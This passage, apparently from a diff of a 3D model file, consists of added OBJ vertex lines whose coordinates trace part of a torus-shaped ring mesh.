+v -0.144621 -0.071319 -0.019486
+v -0.148800 -0.073380 -0.015910
+v -0.152007 -0.074962 -0.011250
+v -0.154023 -0.075956 -0.005823
+v -0.149389 -0.086250 -0.000000
+v -0.148725 -0.085867 0.005823
+v -0.146779 -0.084743 0.011250
+v -0.143682 -0.082955 0.015910
+v -0.139647 -0.080625 0.019486
+v -0.134947 -0.077912 0.021733
+v -0.129904 -0.075000 0.022500
+v -0.124861 -0.072088 0.021733
+v -0.120161 -0.069375 0.019486
+v -0.116125 -0.067045 0.015910
+v -0.113029 -0.065257 0.011250
+v -0.111082 -0.064133 0.005823
+v -0.110418 -0.063750 -0.000000
+v -0.111082 -0.064133 -0.005823
+v -0.113029 -0.065257 -0.011250
+v -0.116125 -0.067045 -0.015910
+v -0.120161 -0.069375 -0.019486
+v -0.124861 -0.072088 -0.021733
+v -0.129904 -0.075000 -0.022500
+v -0.134947 -0.077912 -0.021733
+v -0.139647 -0.080625 -0.019486
+v -0.143682 -0.082955 -0.015910
+v -0.146779 -0.084743 -0.011250
+v -0.148725 -0.085867 -0.005823
+v -0.143428 -0.095836 -0.000000
+v -0.142791 -0.095410 0.005823
+v -0.140922 -0.094161 0.011250
+v -0.137949 -0.092175 0.015910
+v -0.134074 -0.089586 0.019486
+v -0.129562 -0.086571 0.021733
+v -0.124720 -0.083336 0.022500
+v -0.119878 -0.080100 0.021733
+v -0.115366 -0.077085 0.019486
+v -0.111492 -0.074496 0.015910
+v -0.108519 -0.072510 0.011250
+v -0.106650 -0.071261 0.005823
+v -0.106012 -0.070835 -0.000000
+v -0.106650 -0.071261 -0.005823
+v -0.108519 -0.072510 -0.011250
+v -0.111492 -0.074496 -0.015910
+v -0.115366 -0.077085 -0.019486
+v -0.119878 -0.080100 -0.021733
+v -0.124720 -0.083336 -0.022500
+v -0.129562 -0.086571 -0.021733
+v -0.134074 -0.089586 -0.019486
+v -0.137949 -0.092175 -0.015910
+v -0.140922 -0.094161 -0.011250
+v -0.142791 -0.095410 -0.005823
+v -0.136853 -0.105011 -0.000000
+v -0.136245 -0.104545 0.005823
+v -0.134462 -0.103176 0.011250
+v -0.131625 -0.101000 0.015910
+v -0.127928 -0.098163 0.019486
+v -0.123623 -0.094859 0.021733
+v -0.119003 -0.091314 0.022500
+v -0.114383 -0.087769 0.021733
+v -0.110078 -0.084466 0.019486
+v -0.106381 -0.081629 0.015910
+v -0.103544 -0.079452 0.011250
+v -0.101761 -0.078084 0.005823
+v -0.101153 -0.077617 -0.000000
+v -0.101761 -0.078084 -0.005823
+v -0.103544 -0.079452 -0.011250
+v -0.106381 -0.081629 -0.015910
+v -0.110078 -0.084466 -0.019486
+v -0.114383 -0.087769 -0.021733
+v -0.119003 -0.091314 -0.022500
+v -0.123623 -0.094859 -0.021733
+v -0.127928 -0.098163 -0.019486
+v -0.131625 -0.101000 -0.015910
+v -0.134462 -0.103176 -0.011250
+v -0.136245 -0.104545 -0.005823
+v -0.129692 -0.113737 -0.000000
+v -0.129116 -0.113232 0.005823
+v -0.127426 -0.111750 0.011250
+v -0.124738 -0.109392 0.015910
+v -0.121234 -0.106320 0.019486
+v -0.117154 -0.102742 0.021733
+v -0.112776 -0.098902 0.022500
+v -0.108398 -0.095062 0.021733
+v -0.104318 -0.091484 0.019486
+v -0.100814 -0.088412 0.015910
+v -0.098126 -0.086054 0.011250
+v -0.096436 -0.084572 0.005823
+v -0.095860 -0.084067 -0.000000
+v -0.096436 -0.084572 -0.005823
+v -0.098126 -0.086054 -0.011250
+v -0.100814 -0.088412 -0.015910
+v -0.104318 -0.091484 -0.019486
+v -0.108398 -0.095062 -0.021733
+v -0.112776 -0.098902 -0.022500
+v -0.117154 -0.102742 -0.021733
+v -0.121234 -0.106320 -0.019486
+v -0.124738 -0.109392 -0.015910
+v -0.127426 -0.111750 -0.011250
+v -0.129116 -0.113232 -0.005823
+v -0.121976 -0.121976 -0.000000
+v -0.121434 -0.121434 0.005823
+v -0.119844 -0.119844 0.011250
+v -0.117316 -0.117316 0.015910
+v -0.114021 -0.114021 0.019486
+v -0.110184 -0.110184 0.021733
+v -0.106066 -0.106066 0.022500
+v -0.101948 -0.101948 0.021733
+v -0.098111 -0.098111 0.019486
+v -0.094816 -0.094816 0.015910
+v -0.092288 -0.092288 0.011250
+v -0.090698 -0.090698 0.005823
+v -0.090156 -0.090156 -0.000000
+v -0.090698 -0.090698 -0.005823
+v -0.092288 -0.092288 -0.011250
+v -0.094816 -0.094816 -0.015910
+v -0.098111 -0.098111 -0.019486
+v -0.101948 -0.101948 -0.021733
+v -0.106066 -0.106066 -0.022500
+v -0.110184 -0.110184 -0.021733
+v -0.114021 -0.114021 -0.019486
+v -0.117316 -0.117316 -0.015910
+v -0.119844 -0.119844 -0.011250
+v -0.121434 -0.121434 -0.005823
+v -0.113737 -0.129692 -0.000000
+v -0.113232 -0.129116 0.005823
+v -0.111750 -0.127426 0.011250
+v -0.109392 -0.124738 0.015910
+v -0.106320 -0.121234 0.019486
+v -0.102742 -0.117154 0.021733
+v -0.098902 -0.112776 0.022500
+v -0.095062 -0.108398 0.021733
+v -0.091484 -0.104318 0.019486
+v -0.088412 -0.100814 0.015910
+v -0.086054 -0.098126 0.011250
+v -0.084572 -0.096436 0.005823
+v -0.084067 -0.095860 -0.000000
+v -0.084572 -0.096436 -0.005823
+v -0.086054 -0.098126 -0.011250
+v -0.088412 -0.100814 -0.015910
+v -0.091484 -0.104318 -0.019486
+v -0.095062 -0.108398 -0.021733
+v -0.098902 -0.112776 -0.022500
+v -0.102742 -0.117154 -0.021733
+v -0.106320 -0.121234 -0.019486
+v -0.109392 -0.124738 -0.015910
+v -0.111750 -0.127426 -0.011250
+v -0.113232 -0.129116 -0.005823
+v -0.105011 -0.136853 -0.000000
+v -0.104545 -0.136245 0.005823
+v -0.103176 -0.134462 0.011250
+v -0.101000 -0.131625 0.015910
+v -0.098163 -0.127928 0.019486
+v -0.094859 -0.123623 0.021733
+v -0.091314 -0.119003 0.022500
+v -0.087769 -0.114383 0.021733
+v -0.084466 -0.110078 0.019486
+v -0.081629 -0.106381 0.015910
+v -0.079452 -0.103544 0.011250
+v -0.078084 -0.101761 0.005823
+v -0.077617 -0.101153 -0.000000
+v -0.078084 -0.101761 -0.005823
+v -0.079452 -0.103544 -0.011250
+v -0.081629 -0.106381 -0.015910
+v -0.084466 -0.110078 -0.019486
+v -0.087769 -0.114383 -0.021733
+v -0.091314 -0.119003 -0.022500
+v -0.094859 -0.123623 -0.021733
+v -0.098163 -0.127928 -0.019486
+v -0.101000 -0.131625 -0.015910
+v -0.103176 -0.134462 -0.011250
+v -0.104545 -0.136245 -0.005823
+v -0.095836 -0.143428 -0.000000
+v -0.095410 -0.142791 0.005823
+v -0.094161 -0.140922 0.011250
+v -0.092175 -0.137949 0.015910
+v -0.089586 -0.134074 0.019486
+v -0.086571 -0.129562 0.021733
+v -0.083336 -0.124720 0.022500
+v -0.080100 -0.119878 0.021733
+v -0.077085 -0.115366 0.019486
+v -0.074497 -0.111492 0.015910
+v -0.072510 -0.108519 0.011250
+v -0.071261 -0.106650 0.005823
+v -0.070835 -0.106012 -0.000000
+v -0.071261 -0.106650 -0.005823
+v -0.072510 -0.108519 -0.011250
+v -0.074497 -0.111492 -0.015910
+v -0.077085 -0.115366 -0.019486
+v -0.080100 -0.119878 -0.021733
+v -0.083336 -0.124720 -0.022500
+v -0.086571 -0.129562 -0.021733
+v -0.089586 -0.134074 -0.019486
+v -0.092175 -0.137949 -0.015910
+v -0.094161 -0.140922 -0.011250
+v -0.095410 -0.142791 -0.005823
+v -0.086250 -0.149389 -0.000000
+v -0.085867 -0.148725 0.005823
+v -0.084743 -0.146779 0.011250
+v -0.082955 -0.143682 0.015910
+v -0.080625 -0.139647 0.019486
+v -0.077912 -0.134947 0.021733
+v -0.075000 -0.129904 0.022500
+v -0.072088 -0.124861 0.021733
+v -0.069375 -0.120161 0.019486
+v -0.067045 -0.116125 0.015910
+v -0.065257 -0.113029 0.011250
+v -0.064133 -0.111082 0.005823
+v -0.063750 -0.110418 -0.000000
+v -0.064133 -0.111082 -0.005823
+v -0.065257 -0.113029 -0.011250
+v -0.067045 -0.116125 -0.015910
+v -0.069375 -0.120161 -0.019486
+v -0.072088 -0.124861 -0.021733
+v -0.075000 -0.129904 -0.022500
+v -0.077912 -0.134947 -0.021733
+v -0.080625 -0.139647 -0.019486
+v -0.082955 -0.143682 -0.015910
+v -0.084743 -0.146779 -0.011250
+v -0.085867 -0.148725 -0.005823
+v -0.076295 -0.154711 -0.000000
+v -0.075956 -0.154023 0.005823
+v -0.074962 -0.152007 0.011250
+v -0.073380 -0.148800 0.015910
+v -0.071319 -0.144621 0.019486
+v -0.068919 -0.139754 0.021733
+v -0.066343 -0.134531 0.022500
+v -0.063768 -0.129308 0.021733
+v -0.061368 -0.124441 0.019486
+v -0.059307 -0.120262 0.015910
+v -0.057725 -0.117055 0.011250
+v -0.056731 -0.115039 0.005823
+v -0.056392 -0.114351 -0.000000
+v -0.056731 -0.115039 -0.005823
+v -0.057725 -0.117055 -0.011250
+v -0.059307 -0.120262 -0.015910
+v -0.061368 -0.124441 -0.019486
+v -0.063768 -0.129308 -0.021733
+v -0.066343 -0.134531 -0.022500
+v -0.068919 -0.139754 -0.021733
+v -0.071319 -0.144621 -0.019486
+v -0.073380 -0.148800 -0.015910
+v -0.074962 -0.152007 -0.011250
+v -0.075956 -0.154023 -0.005823
+v -0.066013 -0.159369 -0.000000
+v -0.065720 -0.158661 0.005823
+v -0.064859 -0.156584 0.011250
+v -0.063491 -0.153281 0.015910
+v -0.061708 -0.148976 0.019486
+v -0.059631 -0.143962 0.021733
+v -0.057403 -0.138582 0.022500
+v -0.055174 -0.133202 0.021733
+v -0.053097 -0.128188 0.019486
+v -0.051314 -0.123883 0.015910
+v -0.049946 -0.120580 0.011250
+v -0.049086 -0.118503 0.005823
+v -0.048792 -0.117795 -0.000000
+v -0.049086 -0.118503 -0.005823
+v -0.049946 -0.120580 -0.011250
+v -0.051314 -0.123883 -0.015910
+v -0.053097 -0.128188 -0.019486
+v -0.055174 -0.133202 -0.021733
+v -0.057403 -0.138582 -0.022500
+v -0.059631 -0.143962 -0.021733
+v -0.061708 -0.148976 -0.019486
+v -0.063491 -0.153281 -0.015910
+v -0.064859 -0.156584 -0.011250
+v -0.065720 -0.158661 -0.005823
+v -0.055448 -0.163345 -0.000000
+v -0.055202 -0.162619 0.005823
+v -0.054479 -0.160491 0.011250
+v -0.053330 -0.157105 0.015910
+v -0.051832 -0.152692 0.019486
+v -0.050088 -0.147554 0.021733
+v -0.048216 -0.142040 0.022500
+v -0.046344 -0.136525 0.021733
+v -0.044600 -0.131387 0.019486
+v -0.043102 -0.126974 0.015910
+v -0.041953 -0.123588 0.011250
+v -0.041230 -0.121460 0.005823
+v -0.040984 -0.120734 -0.000000
+v -0.041230 -0.121460 -0.005823
+v -0.041953 -0.123588 -0.011250
+v -0.043102 -0.126974 -0.015910
+v -0.044600 -0.131387 -0.019486
+v -0.046344 -0.136525 -0.021733
+v -0.048216 -0.142040 -0.022500
+v -0.050088 -0.147554 -0.021733
+v -0.051832 -0.152692 -0.019486
+v -0.053330 -0.157105 -0.015910
+v -0.054479 -0.160491 -0.011250
+v -0.055202 -0.162619 -0.005823
+v -0.044646 -0.166622 -0.000000
+v -0.044448 -0.165882 0.005823
+v -0.043866 -0.163710 0.011250
+v -0.042941 -0.160257 0.015910
+v -0.041735 -0.155756 0.019486
+v -0.040330 -0.150514 0.021733
+v -0.038823 -0.144889 0.022500
+v -0.037316 -0.139264 0.021733
+v -0.035911 -0.134022 0.019486
+v -0.034705 -0.129521 0.015910
+v -0.033780 -0.126067 0.011250
+v -0.033198 -0.123896 0.005823
+v -0.032999 -0.123156 -0.000000
+v -0.033198 -0.123896 -0.005823
+v -0.033780 -0.126067 -0.011250
+v -0.034705 -0.129521 -0.015910
+v -0.035911 -0.134022 -0.019486
+v -0.037316 -0.139264 -0.021733
+v -0.038823 -0.144889 -0.022500
+v -0.040330 -0.150514 -0.021733
+v -0.041735 -0.155756 -0.019486
+v -0.042941 -0.160257 -0.015910
+v -0.043866 -0.163710 -0.011250
+v -0.044448 -0.165882 -0.005823
+v -0.033653 -0.169185 -0.000000
+v -0.033504 -0.168434 0.005823
+v -0.033065 -0.166229 0.011250
+v -0.032367 -0.162722 0.015910
+v -0.031458 -0.158152 0.019486
+v -0.030400 -0.152829 0.021733
+v -0.029264 -0.147118 0.022500
+v -0.028128 -0.141406 0.021733
+v -0.027069 -0.136084 0.019486
+v -0.026160 -0.131514 0.015910
+v -0.025462 -0.128007 0.011250
+v -0.025024 -0.125802 0.005823
+v -0.024874 -0.125050 -0.000000
+v -0.025024 -0.125802 -0.005823
+v -0.025462 -0.128007 -0.011250
+v -0.026160 -0.131514 -0.015910
+v -0.027069 -0.136084 -0.019486
+v -0.028128 -0.141406 -0.021733
+v -0.029264 -0.147118 -0.022500
+v -0.030400 -0.152829 -0.021733
+v -0.031458 -0.158152 -0.019486
+v -0.032367 -0.162722 -0.015910
+v -0.033065 -0.166229 -0.011250
+v -0.033504 -0.168434 -0.005823
+v -0.022516 -0.171024 -0.000000
+v -0.022416 -0.170264 0.005823
+v -0.022122 -0.168036 0.011250
+v -0.021656 -0.164490 0.015910
+v -0.021047 -0.159870 0.019486
+v -0.020339 -0.154490 0.021733
+v -0.019579 -0.148717 0.022500
+v -0.018819 -0.142943 0.021733
+v -0.018111 -0.137563 0.019486
+v -0.017502 -0.132943 0.015910
+v -0.017036 -0.129398 0.011250
+v -0.016742 -0.127169 0.005823
+v -0.016642 -0.126409 -0.000000
+v -0.016742 -0.127169 -0.005823
+v -0.017036 -0.129398 -0.011250
+v -0.017502 -0.132943 -0.015910
+v -0.018111 -0.137563 -0.019486
+v -0.018819 -0.142943 -0.021733
+v -0.019579 -0.148717 -0.022500
+v -0.020339 -0.154490 -0.021733
+v -0.021047 -0.159870 -0.019486
+v -0.021656 -0.164490 -0.015910
+v -0.022122 -0.168036 -0.011250
+v -0.022416 -0.170264 -0.005823
+v -0.011282 -0.172131 -0.000000
+v -0.011232 -0.171366 0.005823
+v -0.011085 -0.169123 0.011250
+v -0.010851 -0.165555 0.015910
+v -0.010546 -0.160905 0.019486
+v -0.010191 -0.155490 0.021733
+v -0.009810 -0.149679 0.022500
+v -0.009430 -0.143868 0.021733
+v -0.009075 -0.138453 0.019486
+v -0.008770 -0.133803 0.015910
+v -0.008536 -0.130235 0.011250
+v -0.008389 -0.127992 0.005823
+v -0.008339 -0.127227 -0.000000
+v -0.008389 -0.127992 -0.005823
+v -0.008536 -0.130235 -0.011250
+v -0.008770 -0.133803 -0.015910
+v -0.009075 -0.138453 -0.019486
+v -0.009430 -0.143868 -0.021733
+v -0.009810 -0.149679 -0.022500
+v -0.010191 -0.155490 -0.021733
+v -0.010546 -0.160905 -0.019486
+v -0.010851 -0.165555 -0.015910
+v -0.011085 -0.169123 -0.011250
+v -0.011232 -0.171366 -0.005823
+v 0.000000 -0.172500 -0.000000
+v 0.000000 -0.171733 0.005823
+v 0.000000 -0.169486 0.011250
+v 0.000000 -0.165910 0.015910
+v 0.000000 -0.161250 0.019486
+v 0.000000 -0.155823 0.021733
+v 0.000000 -0.150000 0.022500
+v 0.000000 -0.144177 0.021733
+v 0.000000 -0.138750 0.019486
+v 0.000000 -0.134090 0.015910
+v 0.000000 -0.130514 0.011250
+v 0.000000 -0.128267 0.005823
+v 0.000000 -0.127500 -0.000000
+v 0.000000 -0.128267 -0.005823
+v 0.000000 -0.130514 -0.011250
+v 0.000000 -0.134090 -0.015910
+v 0.000000 -0.138750 -0.019486
+v 0.000000 -0.144177 -0.021733
+v 0.000000 -0.150000 -0.022500
+v 0.000000 -0.155823 -0.021733
+v 0.000000 -0.161250 -0.019486
+v 0.000000 -0.165910 -0.015910
+v 0.000000 -0.169486 -0.011250
+v 0.000000 -0.171733 -0.005823
+v 0.011282 -0.172131 -0.000000
+v 0.011232 -0.171366 0.005823
+v 0.011085 -0.169123 0.011250
+v 0.010851 -0.165555 0.015910
+v 0.010546 -0.160905 0.019486
+v 0.010191 -0.155490 0.021733
+v 0.009810 -0.149679 0.022500
+v 0.009430 -0.143868 0.021733
+v 0.009075 -0.138453 0.019486
+v 0.008770 -0.133803 0.015910
+v 0.008536 -0.130235 0.011250
+v 0.008389 -0.127992 0.005823
+v 0.008339 -0.127227 -0.000000
+v 0.008389 -0.127992 -0.005823
+v 0.008536 -0.130235 -0.011250
+v 0.008770 -0.133803 -0.015910
+v 0.009075 -0.138453 -0.019486
+v 0.009430 -0.143868 -0.021733
+v 0.009810 -0.149679 -0.022500
+v 0.010191 -0.155490 -0.021733
+v 0.010546 -0.160905 -0.019486
+v 0.010851 -0.165555 -0.015910
+v 0.011085 -0.169123 -0.011250
+v 0.011232 -0.171366 -0.005823
+v 0.022516 -0.171024 -0.000000
+v 0.022416 -0.170264 0.005823
+v 0.022122 -0.168036 0.011250
+v 0.021656 -0.164491 0.015910
+v 0.021047 -0.159871 0.019486
+v 0.020339 -0.154490 0.021733
+v 0.019579 -0.148717 0.022500
+v 0.018819 -0.142943 0.021733
+v 0.018110 -0.137563 0.019486
+v 0.017502 -0.132943 0.015910
+v 0.017036 -0.129398 0.011250
+v 0.016742 -0.127169 0.005823
+v 0.016642 -0.126409 -0.000000
+v 0.016742 -0.127169 -0.005823
+v 0.017036 -0.129398 -0.011250
+v 0.017502 -0.132943 -0.015910
+v 0.018110 -0.137563 -0.019486
+v 0.018819 -0.142943 -0.021733
+v 0.019579 -0.148717 -0.022500
+v 0.020339 -0.154490 -0.021733
+v 0.021047 -0.159871 -0.019486
+v 0.021656 -0.164491 -0.015910
+v 0.022122 -0.168036 -0.011250
+v 0.022416 -0.170264 -0.005823
+v 0.033653 -0.169185 -0.000000
+v 0.033503 -0.168434 0.005823
+v 0.033065 -0.166229 0.011250
+v 0.032367 -0.162722 0.015910
+v 0.031458 -0.158152 0.019486
+v 0.030400 -0.152829 0.021733
+v 0.029264 -0.147118 0.022500
+v 0.028127 -0.141406 0.021733
+v 0.027069 -0.136084 0.019486
+v 0.026160 -0.131514 0.015910
+v 0.025462 -0.128007 0.011250
+v 0.025024 -0.125802 0.005823
+v 0.024874 -0.125050 -0.000000
+v 0.025024 -0.125802 -0.005823
+v 0.025462 -0.128007 -0.011250
+v 0.026160 -0.131514 -0.015910
+v 0.027069 -0.136084 -0.019486
+v 0.028127 -0.141406 -0.021733
+v 0.029264 -0.147118 -0.022500
+v 0.030400 -0.152829 -0.021733
+v 0.031458 -0.158152 -0.019486
+v 0.032367 -0.162722 -0.015910
+v 0.033065 -0.166229 -0.011250
+v 0.033503 -0.168434 -0.005823
+v 0.044646 -0.166622 -0.000000
+v 0.044448 -0.165882 0.005823
+v 0.043866 -0.163711 0.011250
+v 0.042941 -0.160257 0.015910
+v 0.041734 -0.155756 0.019486
+v 0.040330 -0.150514 0.021733
+v 0.038823 -0.144889 0.022500
+v 0.037316 -0.139264 0.021733
+v 0.035911 -0.134022 0.019486
+v 0.034705 -0.129521 0.015910
+v 0.033780 -0.126067 0.011250
+v 0.033198 -0.123896 0.005823
+v 0.032999 -0.123156 -0.000000
+v 0.033198 -0.123896 -0.005823
+v 0.033780 -0.126067 -0.011250
+v 0.034705 -0.129521 -0.015910
+v 0.035911 -0.134022 -0.019486
+v 0.037316 -0.139264 -0.021733
+v 0.038823 -0.144889 -0.022500
+v 0.040330 -0.150514 -0.021733
+v 0.041734 -0.155756 -0.019486
+v 0.042941 -0.160257 -0.015910
+v 0.043866 -0.163711 -0.011250
+v 0.044448 -0.165882 -0.005823
+v 0.055448 -0.163345 -0.000000
+v 0.055202 -0.162620 0.005823
+v 0.054479 -0.160491 0.011250
+v 0.053330 -0.157105 0.015910
+v 0.051832 -0.152693 0.019486
+v 0.050088 -0.147554 0.021733
+v 0.048216 -0.142040 0.022500
+v 0.046344 -0.136525 0.021733
+v 0.044600 -0.131387 0.019486
+v 0.043102 -0.126974 0.015910
+v 0.041952 -0.123588 0.011250
+v 0.041230 -0.121460 0.005823
+v 0.040983 -0.120734 -0.000000
+v 0.041230 -0.121460 -0.005823
+v 0.041952 -0.123588 -0.011250
+v 0.043102 -0.126974 -0.015910
+v 0.044600 -0.131387 -0.019486
+v 0.046344 -0.136525 -0.021733
+v 0.048216 -0.142040 -0.022500
+v 0.050088 -0.147554 -0.021733
+v 0.051832 -0.152693 -0.019486
+v 0.053330 -0.157105 -0.015910
+v 0.054479 -0.160491 -0.011250
+v 0.055202 -0.162620 -0.005823
+v 0.066013 -0.159369 -0.000000
+v 0.065720 -0.158661 0.005823
+v 0.064859 -0.156584 0.011250
+v 0.063491 -0.153281 0.015910
+v 0.061708 -0.148976 0.019486
+v 0.059631 -0.143962 0.021733
+v 0.057403 -0.138582 0.022500
+v 0.055174 -0.133202 0.021733
+v 0.053097 -0.128188 0.019486
+v 0.051314 -0.123883 0.015910
+v 0.049946 -0.120580 0.011250
+v 0.049086 -0.118503 0.005823
+v 0.048792 -0.117795 -0.000000
+v 0.049086 -0.118503 -0.005823
+v 0.049946 -0.120580 -0.011250
+v 0.051314 -0.123883 -0.015910
+v 0.053097 -0.128188 -0.019486
+v 0.055174 -0.133202 -0.021733
+v 0.057403 -0.138582 -0.022500
+v 0.059631 -0.143962 -0.021733
+v 0.061708 -0.148976 -0.019486
+v 0.063491 -0.153281 -0.015910
+v 0.064859 -0.156584 -0.011250
+v 0.065720 -0.158661 -0.005823
+v 0.076295 -0.154711 -0.000000
+v 0.075956 -0.154023 0.005823
+v 0.074962 -0.152007 0.011250
+v 0.073380 -0.148800 0.015910
+v 0.071319 -0.144621 0.019486
+v 0.068919 -0.139754 0.021733
+v 0.066343 -0.134531 0.022500
+v 0.063768 -0.129308 0.021733
+v 0.061368 -0.124441 0.019486
+v 0.059307 -0.120262 0.015910
+v 0.057725 -0.117055 0.011250
+v 0.056731 -0.115039 0.005823
+v 0.056392 -0.114351 -0.000000
+v 0.056731 -0.115039 -0.005823
+v 0.057725 -0.117055 -0.011250
+v 0.059307 -0.120262 -0.015910
+v 0.061368 -0.124441 -0.019486
+v 0.063768 -0.129308 -0.021733
+v 0.066343 -0.134531 -0.022500
+v 0.068919 -0.139754 -0.021733
+v 0.071319 -0.144621 -0.019486
+v 0.073380 -0.148800 -0.015910
+v 0.074962 -0.152007 -0.011250
+v 0.075956 -0.154023 -0.005823
+v 0.086250 -0.149389 -0.000000
+v 0.085867 -0.148725 0.005823
+v 0.084743 -0.146779 0.011250
+v 0.082955 -0.143682 0.015910
+v 0.080625 -0.139647 0.019486
+v 0.077912 -0.134947 0.021733
+v 0.075000 -0.129904 0.022500
+v 0.072088 -0.124861 0.021733
+v 0.069375 -0.120161 0.019486
+v 0.067045 -0.116125 0.015910
+v 0.065257 -0.113029 0.011250
+v 0.064133 -0.111082 0.005823
+v 0.063750 -0.110418 -0.000000
+v 0.064133 -0.111082 -0.005823
+v 0.065257 -0.113029 -0.011250
+v 0.067045 -0.116125 -0.015910
+v 0.069375 -0.120161 -0.019486
+v 0.072088 -0.124861 -0.021733
+v 0.075000 -0.129904 -0.022500
+v 0.077912 -0.134947 -0.021733
+v 0.080625 -0.139647 -0.019486
+v 0.082955 -0.143682 -0.015910
+v 0.084743 -0.146779 -0.011250
+v 0.085867 -0.148725 -0.005823
+v 0.095836 -0.143429 -0.000000
+v 0.095410 -0.142791 0.005823
+v 0.094161 -0.140922 0.011250
+v 0.092175 -0.137949 0.015910
+v 0.089586 -0.134074 0.019486
+v 0.086571 -0.129562 0.021733
+v 0.083336 -0.124720 0.022500
+v 0.080100 -0.119878 0.021733
+v 0.077085 -0.115366 0.019486
+v 0.074496 -0.111492 0.015910
+v 0.072510 -0.108519 0.011250
+v 0.071261 -0.106650 0.005823
+v 0.070835 -0.106012 -0.000000
+v 0.071261 -0.106650 -0.005823
+v 0.072510 -0.108519 -0.011250
+v 0.074496 -0.111492 -0.015910
+v 0.077085 -0.115366 -0.019486
+v 0.080100 -0.119878 -0.021733
+v 0.083336 -0.124720 -0.022500
+v 0.086571 -0.129562 -0.021733
+v 0.089586 -0.134074 -0.019486
+v 0.092175 -0.137949 -0.015910
+v 0.094161 -0.140922 -0.011250
+v 0.095410 -0.142791 -0.005823
+v 0.105011 -0.136853 -0.000000
+v 0.104545 -0.136245 0.005823
+v 0.103176 -0.134462 0.011250
+v 0.101000 -0.131625 0.015910
+v 0.098163 -0.127928 0.019486
+v 0.094859 -0.123623 0.021733
+v 0.091314 -0.119003 0.022500
+v 0.087769 -0.114383 0.021733
+v 0.084466 -0.110078 0.019486
+v 0.081629 -0.106381 0.015910
+v 0.079452 -0.103544 0.011250
+v 0.078084 -0.101761 0.005823
+v 0.077617 -0.101153 -0.000000
+v 0.078084 -0.101761 -0.005823
+v 0.079452 -0.103544 -0.011250
+v 0.081629 -0.106381 -0.015910
+v 0.084466 -0.110078 -0.019486
+v 0.087769 -0.114383 -0.021733
+v 0.091314 -0.119003 -0.022500
+v 0.094859 -0.123623 -0.021733
+v 0.098163 -0.127928 -0.019486
+v 0.101000 -0.131625 -0.015910
+v 0.103176 -0.134462 -0.011250
+v 0.104545 -0.136245 -0.005823
+v 0.113737 -0.129692 -0.000000
+v 0.113232 -0.129116 0.005823
+v 0.111750 -0.127426 0.011250
+v 0.109392 -0.124738 0.015910
+v 0.106319 -0.121234 0.019486
+v 0.102741 -0.117154 0.021733
+v 0.098902 -0.112776 0.022500
+v 0.095062 -0.108398 0.021733
+v 0.091484 -0.104318 0.019486
+v 0.088412 -0.100814 0.015910
+v 0.086054 -0.098126 0.011250
+v 0.084572 -0.096436 0.005823
+v 0.084067 -0.095860 -0.000000
+v 0.084572 -0.096436 -0.005823
+v 0.086054 -0.098126 -0.011250
+v 0.088412 -0.100814 -0.015910
+v 0.091484 -0.104318 -0.019486
+v 0.095062 -0.108398 -0.021733
+v 0.098902 -0.112776 -0.022500
+v 0.102741 -0.117154 -0.021733
+v 0.106319 -0.121234 -0.019486
+v 0.109392 -0.124738 -0.015910
+v 0.111750 -0.127426 -0.011250
+v 0.113232 -0.129116 -0.005823
+v 0.121976 -0.121976 -0.000000
+v 0.121434 -0.121434 0.005823
+v 0.119844 -0.119844 0.011250
+v 0.117316 -0.117316 0.015910
+v 0.114021 -0.114021 0.019486
+v 0.110184 -0.110184 0.021733
+v 0.106066 -0.106066 0.022500
+v 0.101948 -0.101948 0.021733
+v 0.098111 -0.098111 0.019486
+v 0.094816 -0.094816 0.015910
+v 0.092288 -0.092288 0.011250
+v 0.090698 -0.090698 0.005823
+v 0.090156 -0.090156 -0.000000
+v 0.090698 -0.090698 -0.005823
+v 0.092288 -0.092288 -0.011250
+v 0.094816 -0.094816 -0.015910
+v 0.098111 -0.098111 -0.019486
+v 0.101948 -0.101948 -0.021733
+v 0.106066 -0.106066 -0.022500
+v 0.110184 -0.110184 -0.021733
+v 0.114021 -0.114021 -0.019486
+v 0.117316 -0.117316 -0.015910
+v 0.119844 -0.119844 -0.011250
+v 0.121434 -0.121434 -0.005823
+v 0.129692 -0.113737 -0.000000
+v 0.129116 -0.113232 0.005823
+v 0.127426 -0.111750 0.011250
+v 0.124738 -0.109392 0.015910
+v 0.121234 -0.106319 0.019486
+v 0.117154 -0.102742 0.021733
+v 0.112776 -0.098902 0.022500
+v 0.108398 -0.095062 0.021733
+v 0.104318 -0.091484 0.019486
+v 0.100814 -0.088412 0.015910
+v 0.098126 -0.086054 0.011250
+v 0.096436 -0.084572 0.005823
+v 0.095860 -0.084067 -0.000000
+v 0.096436 -0.084572 -0.005823
+v 0.098126 -0.086054 -0.011250
+v 0.100814 -0.088412 -0.015910
+v 0.104318 -0.091484 -0.019486
+v 0.108398 -0.095062 -0.021733
+v 0.112776 -0.098902 -0.022500
+v 0.117154 -0.102742 -0.021733
+v 0.121234 -0.106319 -0.019486
+v 0.124738 -0.109392 -0.015910
+v 0.127426 -0.111750 -0.011250
+v 0.129116 -0.113232 -0.005823
+v 0.136853 -0.105011 -0.000000
+v 0.136245 -0.104545 0.005823
+v 0.134462 -0.103176 0.011250
+v 0.131625 -0.101000 0.015910
+v 0.127928 -0.098163 0.019486
+v 0.123623 -0.094859 0.021733
+v 0.119003 -0.091314 0.022500
+v 0.114383 -0.087769 0.021733
+v 0.110078 -0.084466 0.019486
+v 0.106381 -0.081629 0.015910
+v 0.103544 -0.079452 0.011250
+v 0.101761 -0.078084 0.005823
+v 0.101153 -0.077617 -0.000000
+v 0.101761 -0.078084 -0.005823
+v 0.103544 -0.079452 -0.011250
+v 0.106381 -0.081629 -0.015910
+v 0.110078 -0.084466 -0.019486
+v 0.114383 -0.087769 -0.021733
+v 0.119003 -0.091314 -0.022500
+v 0.123623 -0.094859 -0.021733
+v 0.127928 -0.098163 -0.019486
+v 0.131625 -0.101000 -0.015910
+v 0.134462 -0.103176 -0.011250
+v 0.136245 -0.104545 -0.005823
+v 0.143429 -0.095836 -0.000000
+v 0.142791 -0.095410 0.005823
+v 0.140922 -0.094161 0.011250
+v 0.137949 -0.092175 0.015910
+v 0.134074 -0.089586 0.019486
+v 0.129562 -0.086571 0.021733
+v 0.124720 -0.083336 0.022500
+v 0.119878 -0.080100 0.021733
+v 0.115366 -0.077085 0.019486
+v 0.111492 -0.074496 0.015910
+v 0.108519 -0.072510 0.011250
+v 0.106650 -0.071261 0.005823
+v 0.106012 -0.070835 -0.000000
+v 0.106650 -0.071261 -0.005823
+v 0.108519 -0.072510 -0.011250
+v 0.111492 -0.074496 -0.015910
+v 0.115366 -0.077085 -0.019486
+v 0.119878 -0.080100 -0.021733
+v 0.124720 -0.083336 -0.022500
